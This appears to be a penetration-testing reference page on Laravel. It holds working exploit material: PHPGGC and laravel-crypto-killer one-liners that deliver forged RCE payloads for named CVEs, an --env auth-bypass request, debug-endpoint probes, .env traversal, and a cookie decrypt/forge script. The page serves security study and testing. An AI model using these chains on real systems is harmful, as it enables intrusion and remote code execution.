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261 lines
12 KiB
Markdown
261 lines
12 KiB
Markdown
# Laravel
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{{#include ../../banners/hacktricks-training.md}}
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### Laravel SQLInjection
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Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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---
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## APP_KEY & Encryption internals (Laravel \u003e=5.6)
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Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\\Encryption\\Encrypter`).
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The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like:
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```json
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{
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"iv" : "Base64(random 16-byte IV)",
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"value": "Base64(ciphertext)",
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"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
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"tag" : "" // only used for AEAD ciphers (GCM)
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}
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```
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`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas
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`decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value.
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Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**.
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Minimal PoC (framework ≥9.x):
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```php
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use Illuminate\Support\Facades\Crypt;
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$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
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$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
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```
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Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, …).
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---
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## laravel-crypto-killer 🧨
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[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode:
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```bash
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# Encrypt a phpggc chain with a known APP_KEY
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laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
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# Decrypt a captured cookie / token
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laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
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# Try a word-list of keys against a token (offline)
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laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
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```
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The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
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---
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## Real-world vulnerable patterns
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| Project | Vulnerable sink | Gadget chain |
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|---------|-----------------|--------------|
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| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
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| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
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| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
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The exploitation workflow is always:
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1. Obtain or brute-force the 32-byte `APP_KEY`.
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2. Build a gadget chain with **PHPGGC** (for example `Laravel/RCE13`, `Laravel/RCE9` or `Laravel/RCE15`).
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3. Encrypt the serialized gadget with **laravel_crypto_killer.py** and the recovered `APP_KEY`.
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4. Deliver the ciphertext to the vulnerable `decrypt()` sink (route parameter, cookie, session …) to trigger **RCE**.
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Below are concise one-liners demonstrating the full attack path for each real-world CVE mentioned above:
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```bash
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# Invoice Ninja ≤5 – /route/{hash}
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php8.2 phpggc Laravel/RCE13 system id -b -f | \
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./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
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xargs -I% curl "https://victim/route/%"
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# Snipe-IT ≤6 – XSRF-TOKEN cookie
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php7.4 phpggc Laravel/RCE9 system id -b | \
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./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
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curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
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# Crater – cookie-based session
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php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
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./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
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curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
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```
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## Mass APP_KEY discovery via cookie brute-force
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Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
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Key findings of the research published by Synacktiv (2024-2025):
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* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
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* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
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* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
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* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
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The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
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## CVE-2024-52301 – HTTP argv/env override → auth bypass
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When PHP’s `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored `--env=<value>` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:
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- Quick check:
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- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.
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- Impact example (business logic trusting a special env):
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- If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to:
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- `POST /login?--env=preprod`
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- Notes:
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- Works per-request, no persistence.
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- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP.
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- Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths.
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- Mitigations:
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- Disable `register_argc_argv` for PHP-FPM/Apache.
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- Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes.
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Minimal exploitation flow (Burp):
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```http
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POST /login?--env=preprod HTTP/1.1
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Host: target
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Content-Type: application/x-www-form-urlencoded
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...
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email=a@b.c&password=whatever&remember=0xdf
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```
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---
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## Laravel Tricks
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### Debugging mode
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If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**.\
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For example `http://127.0.0.1:8000/profiles`:
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.png>)
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This is usually needed for exploiting other Laravel RCE CVEs.
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### Fingerprinting & exposed dev endpoints
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Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:
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- `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured.
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- `/_debugbar` → Laravel Debugbar assets; often indicates debug mode.
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- `/telescope` → Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions.
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- `/horizon` → Queue dashboard; version disclosure and sometimes CSRF-protected actions.
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- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint.
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```bash
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# Nuclei quick probe
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nuclei -nt -u https://target -tags laravel -rl 30
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# Manual spot checks
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for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
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```
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### .env
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Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env`
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Laravel will also show this information inside the debug page (that appears when Laravel finds an error and it's activated).
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Using the secret APP_KEY of Laravel you can decrypt and re-encrypt cookies:
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### Decrypt Cookie
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```python
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import os
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import json
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import hashlib
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import sys
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import hmac
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import base64
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import string
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import requests
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from Crypto.Cipher import AES
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from phpserialize import loads, dumps
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#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
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def mcrypt_decrypt(value, iv):
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global key
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AES.key_size = [len(key)]
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crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
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return crypt_object.decrypt(value)
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def mcrypt_encrypt(value, iv):
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global key
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AES.key_size = [len(key)]
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crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
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return crypt_object.encrypt(value)
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def decrypt(bstring):
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global key
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dic = json.loads(base64.b64decode(bstring).decode())
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mac = dic['mac']
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value = bytes(dic['value'], 'utf-8')
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iv = bytes(dic['iv'], 'utf-8')
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if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
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return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
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#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
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return ''
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def encrypt(string):
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global key
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iv = os.urandom(16)
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#string = dumps(string)
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padding = 16 - len(string) % 16
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string += bytes(chr(padding) * padding, 'utf-8')
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value = base64.b64encode(mcrypt_encrypt(string, iv))
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iv = base64.b64encode(iv)
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mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
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dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
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return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
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app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
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key = base64.b64decode(app_key)
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decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
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#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
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encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
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```
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### Laravel Deserialization RCE
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Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
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Here you can find information about the deserialization vulnerability here: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
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You can test and exploit it using [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
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Or you can also exploit it with metasploit: `use unix/http/laravel_token_unserialize_exec`
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### CVE-2021-3129
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Another deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
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## References
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* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
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* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
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* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
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* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
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* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
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* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
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* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
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* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
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{{#include ../../banners/hacktricks-training.md}}
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